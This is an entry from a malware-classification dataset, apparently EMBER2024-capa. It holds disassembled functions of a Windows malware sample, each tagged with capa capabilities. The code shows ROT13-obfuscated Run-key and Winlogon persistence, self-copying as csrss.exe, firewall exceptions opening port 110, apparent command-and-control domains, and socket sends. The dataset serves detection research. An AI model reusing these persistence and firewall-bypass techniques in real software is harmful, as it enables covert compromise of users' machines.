joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4011e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x422330]
mov dword [esp + 0x210], eax
push edi
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x3f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push eax
call fcn.00402a30
mov byte [esp + 0x114], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x115]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x114]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvbaEha
push ecx
stosw word es:[edi], ax
call fcn.00404140
add esp, 0xc
lea edx, [esp + 4]
push edx
lea eax, [esp + 0x114]
push eax
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
xor ecx, ecx
mov dword [esp + 9], ecx
lea edx, [esp + 8]
mov word [esp + 0xd], cx
push str.Fipubfg
push edx
mov byte [esp + 0x10], 0
mov byte [esp + 0x17], cl
call fcn.00404140
lea eax, [esp + 0x18]
add esp, 8
lea edx, [eax + 1]
jmp 0x401290
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401290
sub eax, edx
mov edx, dword [esp + 4]
inc eax
push eax
lea eax, [esp + 0x14]
push eax
push 1
push 0
lea ecx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x214]
call fcn.004118eb
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4012d0
Capabilities:
Delete registry key
Delete registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x422330]
mov dword [esp + 0x20c], eax
push esi
push edi
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x3f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov byte [esp + 0x110], 0
mov ecx, 0x3f
lea edi, [esp + 0x111]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push str.FBSGJNERZvpebfbsgJvaqbjf_AGPheeragIrefvbaJvaybtbaAbgvslPfeff
push eax
call fcn.00404140
lea ecx, [esp + 0x118]
push str.FBSGJNERZvpebfbsgJvaqbjf_AGPheeragIrefvbaJvaybtbaAbgvsl
push ecx
call fcn.00404140
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
push 2
push 0
lea eax, [esp + 0x1c]
push eax
push reloc.WSOCK32.dll_bind
call edi
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push str.DllName
push ecx
call esi
mov edx, dword [esp + 0xc]
push str.Logon
push edx
call esi
mov eax, dword [esp + 0xc]
push str.Impersonate
push eax
call esi
mov ecx, dword [esp + 0xc]
push str.Asynchronous
push ecx
call esi
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call esi
lea eax, [esp + 0xc]
push eax
push 0x10000
push 0
lea ecx, [esp + 0x11c]
push ecx
push reloc.WSOCK32.dll_bind
call edi
mov edx, dword [esp + 0xc]
push str.Csrss
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0xc]
push eax
call esi
mov ecx, dword [esp + 0x214]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4013e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x314
mov eax, dword [0x422330]
push ebx
mov dword [esp + 0x314], eax
push esi
push edi
xor eax, eax
xor ebx, ebx
mov byte [esp + 0x18], bl
mov ecx, 0x3f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
call fcn.00402810
mov byte [esp + 0x21c], bl
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x21d]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x21c]
push str.FBSGJNERZvpebfbsgJvaqbjf_AGPheeragIrefvbaJvaybtbaAbgvslPfeff
push ecx
stosw word es:[edi], ax
call fcn.00404140
mov eax, dword [0x41b368]
mov edx, dword [str.StrtPrc]
mov dword [esp + 0x128], eax
mov dword [esp + 0x124], edx
xor eax, eax
mov ecx, 0x3d
lea edi, [esp + 0x12c]
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x21c]
stosw word es:[edi], ax
push edx
push reloc.WSOCK32.dll_bind
stosb byte es:[edi], al
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x18]
lea edx, [eax + 1]
jmp 0x4014a0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4014a0
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
inc eax
push eax
lea eax, [esp + 0x1c]
push eax
push 1
push ebx
push str.DllName
push ecx
call esi
lea eax, [esp + 0x118]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4014d0
sub eax, edx
inc eax
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x11c]
push edx
push 1
push ebx
push str.Logon
push eax
call esi
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebx
push str.Impersonate
push edx
call esi
mov ecx, dword [esp + 0xc]
push 4
lea eax, [esp + 0x14]
push eax
push 4
push ebx
push str.Asynchronous
push ecx
call esi
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x31c]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401540
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x318
mov eax, dword [0x422330]
mov dword [esp + 0x314], eax
push esi
push edi
mov eax, 0xff
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], eax
xor eax, eax
mov byte [esp + 0x18], 0
mov ecx, 0x3f
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push str.FBSGJNERZvpebfbsgJvaqbjf_AGPheeragIrefvbaJvaybtbaAbgvslPfeff
push eax
call fcn.00404140
add esp, 8
lea ecx, [esp + 0x10]
push ecx
push 1
push 0
lea edx, [esp + 0x24]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x11c]
push ecx
push 0
push 0
push str.DllName
push edx
call esi
mov edx, dword [esp + 0x10]
mov edi, eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x21c]
push ecx
push 0
push 0
push str.Logon
push edx
call esi
mov esi, eax
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x118]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401600
sub eax, edx
mov dword [esp + 0xc], eax
je 0x401647
test edi, edi
jne 0x401647
lea eax, [esp + 0x218]
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401620
sub eax, edx
mov dword [esp + 0xc], eax
je 0x401647
test esi, esi
jne 0x401647
mov al, 1
mov ecx, dword [esp + 0x31c]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x31c]
xor al, al
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401660
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x422330]
push esi
push edi
mov dword [esp + 0x214], eax
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x3f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvbaEha
push eax
mov dword [esp + 0x10], 0xff
call fcn.00404140
add esp, 8
lea ecx, [esp + 0xc]
push ecx
push 1
push 0
lea edx, [esp + 0x1c]
push edx
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x114]
push ecx
push 0
push 0
push str.Svchost
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401700
sub eax, edx
mov dword [esp + 8], eax
je 0x401727
test esi, esi
jne 0x401727
mov al, 1
mov ecx, dword [esp + 0x214]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x214]
xor al, al
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4017c0
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x14
mov eax, dword [esp + 0x18]
push esi
mov esi, 3
push 0x24
mov dword [esp + 8], 0x14
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], esi
call fcn.00411535
add esp, 4
test eax, eax
mov dword [esp + 0x14], eax
jne 0x401801
push str.failed_to_allocate_memory_in_SetConnectionOptions__
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
xor eax, eax
pop esi
add esp, 0x14
ret
mov dword [eax], 1
mov ecx, dword [esp + 0x14]
mov dword [ecx + 4], esi
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
mov dword [edx + 0xc], 2
mov eax, dword [esp + 0x14]
push edi
mov dword [eax + 0x10], ecx
mov edx, dword [esp + 0x18]
push 0x14
lea ecx, [esp + 0xc]
push ecx
mov dword [edx + 0x18], esi
mov eax, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionA]
push 0x4b
push 0
mov dword [eax + 0x1c], str.local
call esi
mov edx, dword [esp + 0x18]
push edx
mov edi, eax
call fcn.0041228d
add esp, 4
push 0
push 0
push 0x27
push 0
call esi
push 0
push 0
push 0x25
push 0
call esi
mov eax, edi
pop edi
pop esi
add esp, 0x14
ret
Function at 0x402870
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1120
call fcn.00411db0
mov eax, dword [0x422330]
mov dword [esp + 0x111c], eax
push esi
push edi
xor eax, eax
mov byte [esp + 0x108], 0
mov ecx, 0x404
lea edi, [esp + 0x109]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x108]
push eax
push 0x1014
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov byte [esp + 8], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
push str.pfeff.rkr
push ecx
stosw word es:[edi], ax
call fcn.00404140
mov esi, dword [ebp + 8]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x114]
push eax
push str._s_s
push esi
call fcn.00411af5
push str._nTemp_path:__n
call fcn.0040a180
push esi
call fcn.0040a180
mov ecx, dword [esp + 0x1144]
add esp, 0x20
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402920
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1124
call fcn.00411db0
mov eax, dword [0x422330]
push edi
mov dword [esp + 0x1124], eax
xor eax, eax
mov byte [esp + 0x108], 0
mov ecx, 0x404
lea edi, [esp + 0x109]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x108]
push eax
push 0x1014
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov byte [esp + 8], 0
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
push ecx
stosw word es:[edi], ax
call fcn.00402810
mov ecx, dword [ebp + 8]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x110]
push eax
push str._s_s
push ecx
call fcn.00411af5
mov ecx, dword [esp + 0x1138]
add esp, 0x14
call fcn.004118eb
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x4029c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1024
call fcn.00411db0
mov eax, dword [0x422330]
push edi
mov dword [esp + 0x1024], eax
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x404
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 0x1014
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edx, dword [ebp + 8]
lea ecx, [esp + 8]
push ecx
push 0x41b38c
push edx
call fcn.00411af5
mov ecx, dword [esp + 0x1030]
add esp, 0xc
call fcn.004118eb
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402a30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1124
call fcn.00411db0
mov eax, dword [0x422330]
push edi
mov dword [esp + 0x1124], eax
xor eax, eax
mov byte [esp + 0x108], 0
mov ecx, 0x404
lea edi, [esp + 0x109]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
push 0x23
lea eax, [esp + 0x110]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 8]
push str.pfeff.rkr
push ecx
call fcn.00404140
mov ecx, dword [ebp + 8]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x114]
push eax
push str._s_s
push ecx
call fcn.00411af5
mov ecx, dword [esp + 0x113c]
add esp, 0x18
call fcn.004118eb
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x402ac0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1124
call fcn.00411db0
mov eax, dword [0x422330]
push edi
mov dword [esp + 0x1124], eax
xor eax, eax
mov byte [esp + 0x108], 0
mov ecx, 0x404
lea edi, [esp + 0x109]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
push 0x25
lea eax, [esp + 0x110]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 8]
push ecx
call fcn.00402810
mov ecx, dword [ebp + 8]
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x110]
push eax
push str._s_s
push ecx
call fcn.00411af5
mov ecx, dword [esp + 0x1138]
add esp, 0x14
call fcn.004118eb
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x402b50
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x200c
call fcn.00411db0
mov eax, dword [0x422330]
push edi
mov dword [esp + 0x200c], eax
xor eax, eax
mov byte [esp + 0x1008], 0
mov ecx, 0x3ff
lea edi, [esp + 0x1009]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1000
lea eax, [esp + 0x100c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov byte [esp + 8], 0
xor eax, eax
mov ecx, 0x3ff
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
push ecx
stosb byte es:[edi], al
call fcn.00402a30
mov edx, dword [ebp + 8]
add esp, 4
push edx
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1010]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov ecx, dword [esp + 0x200c]
call fcn.004118eb
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x402bf0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
mov edx, dword [esp + 0x58]
push edi
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push 0
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 1
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
add esp, 0x54
ret
Function at 0x402c40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x310
mov eax, dword [0x422330]
mov dword [esp + 0x30c], eax
push esi
push edi
xor eax, eax
mov byte [esp + 0x210], 0
mov ecx, 0x3f
lea edi, [esp + 0x211]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x3f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov byte [esp + 0x110], 0
mov ecx, 0x3f
lea edi, [esp + 0x111]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0xff
lea eax, [esp + 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [esp + 0x110]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402cc7
lea edi, [esp + 0x10]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402cd5
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x10]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402cf2
mov ecx, dword [str.::Enabled:svchost]
mov edx, dword [0x41b6d4]
mov eax, dword [0x41b6d8]
mov dword [edi], ecx
mov ecx, dword [0x41b6dc]
mov dword [edi + 4], edx
mov dx, word [0x41b6e0]
mov dword [edi + 8], eax
mov al, byte [0x41b6e2]
mov dword [edi + 0xc], ecx
lea ecx, [esp + 0x210]
mov word [edi + 0x10], dx
push str.FLFGRZPheeragPbagebyFrgFreivprfFunerqNpprffCnenzrgrefSverjnyyCbyvplFgnaqneqCebsvyrNhgubevmrqNccyvpngvbafYvfg_
push ecx
mov byte [edi + 0x12], al
call fcn.00404140
add esp, 8
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x214]
push eax
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402d63
sub eax, edx
push eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push 1
push 0
lea edx, [esp + 0x120]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x314]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402db0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x422330]
push esi
push edi
mov dword [esp + 0x214], eax
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0x3f
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [esp + 0x10]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402de3
mov ecx, 6
mov esi, str.110:TCP::Enabled:svchost
rep movsd dword es:[edi], dword [esi]
mov byte [esp + 0x110], al
movsw word es:[edi], word [esi]
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x111]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x110]
push str.FLFGRZPheeragPbagebyFrgFreivprfFunerqNpprffCnenzrgrefSverjnyyCbyvplFgnaqneqCebsvyrTybonyylBcraCbegfYvfg_
push eax
call fcn.00404140
add esp, 8
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x114]
push edx
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 0x10]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e46
mov ecx, dword [esp + 0xc]
sub eax, edx
push eax
lea eax, [esp + 0x14]
push eax
push 1
push 0
push str.110:TCP
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x214]
call fcn.004118eb
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403220
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x422330]
push ebx
mov dword [esp + 0x214], eax
push esi
push edi
xor eax, eax
mov byte [esp + 0x118], 0
mov ecx, 0x3f
lea edi, [esp + 0x119]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor ebx, ebx
mov byte [esp + 0x18], bl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
mov dword [esp + 0x14], 0xff
mov dword [0x432d38], ebx
stosw word es:[edi], ax
mov esi, 0x422f30
lea ecx, [ecx]
push 0x41b5fe
push esi
call fcn.00411af5
add esi, 0xff
add esp, 8
cmp esi, 0x432d31
jl 0x403280
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
add eax, 0x422f30
inc ecx
push str.propellero.com
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
add eax, 0x422f30
inc ecx
push str.googlestats.ru
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
add eax, 0x422f30
inc ecx
push str.alexastats.ru
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
add eax, 0x422f30
inc ecx
push str.profeller.com
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
add eax, 0x422f30
inc ecx
push str.google_ana1itics.com
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
add eax, 0x422f30
inc ecx
push str.searchmachiner.com
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
lea eax, [esp + 0x148]
push str.FBSGJNERZvpebfbsgJvaqbjfPheeragIrefvbaFreiref
push eax
call fcn.00404140
add esp, 0x38
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x11c]
push edx
push reloc.WSOCK32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
lea ecx, [ecx]
mov edx, dword [esp + 0x10]
push 0
push 0
push 0
push 0
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x2c]
push ecx
push ebx
push edx
mov byte [esp + 0x38], 0
mov dword [esp + 0x34], 0xff
call esi
inc ebx
test eax, eax
jne 0x403418
lea eax, [esp + 0x18]
push eax
mov ecx, eax
push ecx
call fcn.00404140
mov ecx, dword [0x432d38]
mov eax, ecx
imul eax, eax, 0xff
lea edx, [esp + 0x20]
push edx
add eax, 0x422f30
inc ecx
push 0x41b38c
push eax
mov dword [0x432d38], ecx
call fcn.00411af5
add esp, 0x14
jmp 0x4033b0
cmp eax, 0x103
jne 0x4033b0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x21c]
call fcn.004118eb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4054f0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov eax, dword [0x422330]
mov dword [esp], eax
mov eax, dword [esp + 0x24]
test eax, eax
push esi
mov esi, dword [esp + 0x10]
jbe 0x405520
cmp dword [esp + 0x2c], 0x10
mov ecx, dword [esp + 0x18]
jae 0x405515
lea ecx, [esp + 0x18]
push 0
push eax
push ecx
push esi
call dword [sym.imp.WSOCK32.dll_send]
push esi
call dword [sym.imp.WSOCK32.dll_closesocket]
mov esi, dword [esp + 0xc]
push esi
call fcn.00405460
push esi
call fcn.00408e70
mov eax, dword [esp + 0x34]
add esp, 8
cmp eax, 0x10
pop esi
jb 0x405551
mov eax, dword [esp + 0x14]
push eax
call fcn.00412292
add esp, 4
mov ecx, dword [esp]
xor eax, eax
call fcn.004118eb
pop ecx
ret